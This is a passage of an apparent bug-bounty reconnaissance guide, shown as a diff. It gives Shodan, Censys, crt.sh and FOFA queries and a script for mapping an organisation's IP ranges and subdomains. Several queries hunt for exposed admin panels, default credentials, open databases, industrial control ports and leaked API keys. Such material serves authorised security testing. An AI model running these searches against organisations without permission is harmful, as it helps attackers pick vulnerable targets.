# Netlas (alternative):
|
|
23
|
+
pip install netlas --break-system-packages
|
|
24
|
+
netlas --api_key <KEY>
|
|
25
|
+
|
|
26
|
+
# BGP/ASN tools:
|
|
27
|
+
sudo apt-get install -y whois
|
|
28
|
+
pip install ipwhois --break-system-packages
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
---
|
|
32
|
+
|
|
33
|
+
## Phase 1: ASN & IP Range Discovery
|
|
34
|
+
|
|
35
|
+
```bash
|
|
36
|
+
# Find ASN for organization:
|
|
37
|
+
whois -h whois.radb.net -- '-i origin AS<number>'
|
|
38
|
+
whois <company_domain> | grep -i "asn\|origin\|netname\|inetnum"
|
|
39
|
+
|
|
40
|
+
# Convert ASN to IP ranges:
|
|
41
|
+
python3 -c "
|
|
42
|
+
from ipwhois import IPWhois
|
|
43
|
+
from ipwhois.net import Net
|
|
44
|
+
from ipwhois.asn import IPASN
|
|
45
|
+
# Get IP ranges for ASN:
|
|
46
|
+
import urllib.request, json
|
|
47
|
+
asn = 'AS15169' # Google example
|
|
48
|
+
url = f'https://api.bgpview.io/asn/{asn}/prefixes'
|
|
49
|
+
data = json.loads(urllib.request.urlopen(url).read())
|
|
50
|
+
for prefix in data['data']['ipv4_prefixes']:
|
|
51
|
+
print(prefix['prefix'])
|
|
52
|
+
"
|
|
53
|
+
|
|
54
|
+
# Shodan ASN search:
|
|
55
|
+
shodan search "asn:AS15169" --fields ip_str,port,org
|
|
56
|
+
shodan stats "asn:AS15169"
|
|
57
|
+
|
|
58
|
+
# Bulk IP range from ARIN/RIPE:
|
|
59
|
+
whois -h whois.arin.net "n + <org_name>"
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
|
|
64
|
+
## Phase 2: Shodan — Core Queries
|
|
65
|
+
|
|
66
|
+
```bash
|
|
67
|
+
# Basic host lookup:
|
|
68
|
+
shodan host <IP_ADDRESS> # all open ports, banners, location
|
|
69
|
+
shodan host <IP_ADDRESS> --history # historical data
|
|
70
|
+
|
|
71
|
+
# Search by organization:
|
|
72
|
+
shodan search "org:\"Target Company\"" --fields ip_str,port,data
|
|
73
|
+
shodan search "org:\"Target Company\" port:22" --fields ip_str,data
|
|
74
|
+
|
|
75
|
+
# Search by hostname/domain:
|
|
76
|
+
shodan search "hostname:target.com" --fields ip_str,port,hostnames
|
|
77
|
+
shodan search "ssl.cert.subject.cn:*.target.com" # wildcard SSL certs
|
|
78
|
+
|
|
79
|
+
# Search by IP range (CIDR):
|
|
80
|
+
shodan search "net:192.168.1.0/24" --fields ip_str,port,org
|
|
81
|
+
|
|
82
|
+
# Output formats:
|
|
83
|
+
shodan search "org:\"Target\"" --limit 100 --fields ip_str,port,transport -o results.csv
|
|
84
|
+
shodan download results.json.gz "org:\"Target\"" # download full result set
|
|
85
|
+
shodan parse results.json.gz --fields ip_str,port # parse downloaded results
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
---
|
|
89
|
+
|
|
90
|
+
## Phase 3: Shodan — Service-Specific Queries
|
|
91
|
+
|
|
92
|
+
```bash
|
|
93
|
+
# Exposed admin panels:
|
|
94
|
+
shodan search "org:\"Target\" http.title:\"admin\""
|
|
95
|
+
shodan search "org:\"Target\" http.title:\"Dashboard\""
|
|
96
|
+
|
|
97
|
+
# Default credentials:
|
|
98
|
+
shodan search "org:\"Target\" \"default password\""
|
|
99
|
+
shodan search "org:\"Target\" http.html:\"admin\" \"default\""
|
|
100
|
+
|
|
101
|
+
# Exposed databases:
|
|
102
|
+
shodan search "org:\"Target\" port:27017" # MongoDB
|
|
103
|
+
shodan search "org:\"Target\" port:6379" # Redis
|
|
104
|
+
shodan search "org:\"Target\" port:9200" # Elasticsearch
|
|
105
|
+
shodan search "org:\"Target\" port:5432" # PostgreSQL
|
|
106
|
+
shodan search "org:\"Target\" port:3306" # MySQL
|
|
107
|
+
|
|
108
|
+
# Exposed dev/staging:
|
|
109
|
+
shodan search "org:\"Target\" http.title:\"staging\""
|
|
110
|
+
shodan search "hostname:\"dev.target.com\" OR hostname:\"staging.target.com\""
|
|
111
|
+
|
|
112
|
+
# Git/config file exposure:
|
|
113
|
+
shodan search "org:\"Target\" http.html:\".git\""
|
|
114
|
+
shodan search "org:\"Target\" http.html:\"config.php\""
|
|
115
|
+
|
|
116
|
+
# Industrial / IoT:
|
|
117
|
+
shodan search "org:\"Target\" port:102" # Siemens S7
|
|
118
|
+
shodan search "org:\"Target\" port:502" # Modbus
|
|
119
|
+
shodan search "org:\"Target\" port:47808" # BACnet
|
|
120
|
+
|
|
121
|
+
# Specific banner content:
|
|
122
|
+
shodan search "org:\"Target\" \"server: apache/2.2\""
|
|
123
|
+
shodan search "org:\"Target\" product:nginx version:1.14"
|
|
124
|
+
|
|
125
|
+
# SSL certificate recon:
|
|
126
|
+
shodan search "ssl.cert.subject.cn:target.com"
|
|
127
|
+
shodan search "ssl.cert.issuer.cn:\"Let's Encrypt\" hostname:target.com"
|
|
128
|
+
|
|
129
|
+
# HTTP response body:
|
|
130
|
+
shodan search "org:\"Target\" http.html:\"internal_api_key\""
|
|
131
|
+
shodan search "org:\"Target\" http.html:\"aws_access_key\""
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
---
|
|
135
|
+
|
|
136
|
+
## Phase 4: Censys — Core Queries
|
|
137
|
+
|
|
138
|
+
```bash
|
|
139
|
+
# CLI searches (Censys v2 API):
|
|
140
|
+
censys search "target.com" --index-type hosts
|
|
141
|
+
censys search "target.com" --index-type certs
|
|
142
|
+
|
|
143
|
+
# Python API:
|
|
144
|
+
python3 -c "
|
|
145
|
+
from censys.search import CensysHosts
|
|
146
|
+
h = CensysHosts()
|
|
147
|
+
# Search by domain in TLS certificate:
|
|
148
|
+
for result in h.search('services.tls.certificates.leaf_data.subject.common_name: target.com', per_page=25):
|
|
149
|
+
print(result['ip'], result.get('services', []))
|
|
150
|
+
"
|
|
151
|
+
|
|
152
|
+
# Certificate transparency via Censys:
|
|
153
|
+
python3 -c "
|
|
154
|
+
from censys.search import CensysCertificates
|
|
155
|
+
c = CensysCertificates()
|
|
156
|
+
for cert in c.search('parsed.names: target.com', fields=['parsed.names', 'parsed.subject.common_name']):
|
|
157
|
+
print(cert)
|
|
158
|
+
"
|
|
159
|
+
|
|
160
|
+
# Find subdomains via SSL cert SAN:
|
|
161
|
+
censys search "services.tls.certificates.leaf_data.subject.common_name: *.target.com" \
|
|
162
|
+
--index-type hosts --fields "ip,services.port,services.service_name"
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
---
|
|
166
|
+
|
|
167
|
+
## Phase 5: Certificate Transparency (Passive Subdomain Discovery)
|
|
168
|
+
|
|
169
|
+
```bash
|
|
170
|
+
# crt.sh — largest CT log aggregator:
|
|
171
|
+
curl -s "https://crt.sh/?q=%25.target.com&output=json" | \
|
|
172
|
+
python3 -c "import sys,json; [print(c['name_value']) for c in json.load(sys.stdin)]" | \
|
|
173
|
+
sort -u | grep -v "^\*"
|
|
174
|
+
|
|
175
|
+
# With subfinder (uses CT + Shodan + Censys):
|
|
176
|
+
subfinder -d target.com -silent
|
|
177
|
+
|
|
178
|
+
# amass passive (CT + multiple sources, no active DNS):
|
|
179
|
+
amass enum -passive -d target.com -o subdomains.txt
|
|
180
|
+
|
|
181
|
+
# Extract unique domains from CT output:
|
|
182
|
+
curl -s "https://crt.sh/?q=%.target.com&output=json" 2>/dev/null | \
|
|
183
|
+
python3 -m json.tool | grep "name_value" | \
|
|
184
|
+
sed 's/.*: "//;s/".*//' | tr ',' '\n' | sort -u > ct_subdomains.txt
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
---
|
|
188
|
+
|
|
189
|
+
## Phase 6: FOFA Queries
|
|
190
|
+
|
|
191
|
+
```bash
|
|
192
|
+
# FOFA uses different syntax (domain, ip, title, cert, etc.):
|
|
193
|
+
# Access via web: https://fofa.info
|
|
194
|
+
|
|
195
|
+
# CLI (unofficial):
|
|
196
|
+
python3 -c "
|
|
197
|
+
import requests, base64, os
|
|
198
|
+
api_key = os.environ['FOFA_KEY']
|
|
199
|
+
email = os.environ['FOFA_EMAIL']
|
|
200
|
+
query = 'domain=\"target.com\" && port=\"443\"'
|
|
201
|
+
q_b64 = base64.b64encode(query.encode()).decode()
|
|
202
|
+
url = f'https://fofa.info/api/v1/search/all?email={email}&key={api_key}&qbase64={q_b64}&fields=ip,port,title,host'
|
|
203
|
+
r = requests.get(url).json()
|
|
204
|
+
for item in r.get('results', []):
|
|
205
|
+
print(item)
|
|
206
|
+
"
|
|
207
|
+
|
|
208
|
+
# Useful FOFA queries:
|
|
209
|
+
# cert=\"target.com\" — by certificate
|
|
210
|
+
# title=\"Login\" && domain=\"target.com\" — login pages
|
|
211
|
+
# app=\"Apache\" && domain=\"target.com\" — Apache servers
|
|
212
|
+
# header=\"X-Powered-By: PHP\" — PHP apps
|
|
213
|
+
# body=\"wp-content\" — WordPress
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
---
|
|
217
|
+
|
|
218
|
+
## Phase 7: Shodan Monitor & Alerts (Bug Bounty)
|
|
219
|
+
|
|
220
|
+
```bash
|
|
221
|
+
# Set up alert for new IPs belonging to target:
|
|
222
|
+
shodan alert create "target_monitor" "org:\"Target Company\""
|
|
223
|
+
shodan alert list
|
|
224
|
+
shodan alert info <alert_id>
|
|
225
|
+
|
|
226
|
+
# Trigger scan on demand (requires credits):
|
|
227
|
+
shodan scan submit 192.168.1.0/24
|
|
228
|
+
shodan scan status <scan_id>
|
|
229
|
+
|
|
230
|
+
# Shodan trends (historical data):
|
|
231
|
+
shodan stats --history "org:\"Target\"" port
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
---
|
|
235
|
+
|
|
236
|
+
## Phase 8: Automated Attack Surface Script
|
|
237
|
+
|
|
238
|
+
```bash
|
|
239
|
+
# Full passive recon pipeline:
|
|
240
|
+
TARGET="target.com"
|
|
241
|
+
ORG="Target Company Inc"
|
|
242
|
+
|
|
243
|
+
# 1. Find IPs via Shodan:
|
|
244
|
+
shodan search "org:\"$ORG\"" --fields ip_str -o shodan_ips.txt 2>/dev/null
|
|
245
|
+
|
|
246
|
+
# 2. Find subdomains via CT:
|
|
247
|
+
curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | \
|
|
248
|
+
python3 -c "import sys,json; [print(c['name_value']) for c in json.load(sys.stdin)]" | \
|
|
249
|
+
sort -u | grep -v "^\*" > ct_subs.txt
|
|
250
|
+
|
|
251
|
+
# 3. Resolve subdomains:
|
|
252
|
+
cat ct_subs.txt | httpx -silent -ip -status-code -title -tech-detect \
|
|
253
|
+
-o resolved_subs.txt 2>/dev/null
|
|
254
|
+
|
|
255
|
+
# 4. Check for exposed services on discovered IPs:
|
|
256
|
+
cat shodan_ips.txt | while read ip; do
|
|
257
|
+
shodan host "$ip" 2>/dev/null | grep -E "^Ports:|Open ports"
|
|
258
|
+
done > exposed_ports.txt
|
|
259
|
+
|
|
260
|
+
# 5. Check for exposed admin/DB ports:
|
|
261
|
+
grep -E "27017|6379|9200|5432|3306|8080|8443" exposed_ports.txt > risky_ports.txt
|
|
262
|
+
cat risky_ports.txt
|
|
263
|
+
```
|
|
264
|
+
|
|
265
|
+
---
|
|
266
|
+
|
|
267
|
+
## Pro Tips
|
|
268
|
+
|
|
269
|
+
1. **SSL certificates** — `ssl.cert.subject.cn:*.target.com` in Shodan finds ALL subdomains with valid certs
|
|
270
|
+
2. **crt.sh wildcard** — `%.target.com` returns ALL certificates ever issued (including dev/internal)
|
|
271
|
+
3. **Shodan `net:`** — use discovered CIDR ranges for bulk scanning of entire IP space
|
|
272
|
+
4. **Historical data** — `shodan host <ip> --history` shows port changes over time (good for scope changes)
|
|
273
|
+
5. **FOFA for IoT** — better coverage than Shodan for Asian/Chinese targets
|
|
274
|
+
6. **Combine sources** — `subfinder -d target.com` queries Shodan + Censys + CT logs simultaneously
|
|
275
|
+
7. **Censys for certs** — finds wildcard certs exposing *all* subdomains in SAN field
|
|
276
|
+
|
|
277
|
+
## Summary
|
|
278
|
+
|
|
279
|
+
Internet recon flow: ASN lookup → `shodan search "org:..."` for IPs/services → `crt.sh` + `subfinder` for subdomains → `httpx` to probe live hosts → `shodan host <ip>` for port details → flag risky ports (27017/6379/9200) for direct testing.
|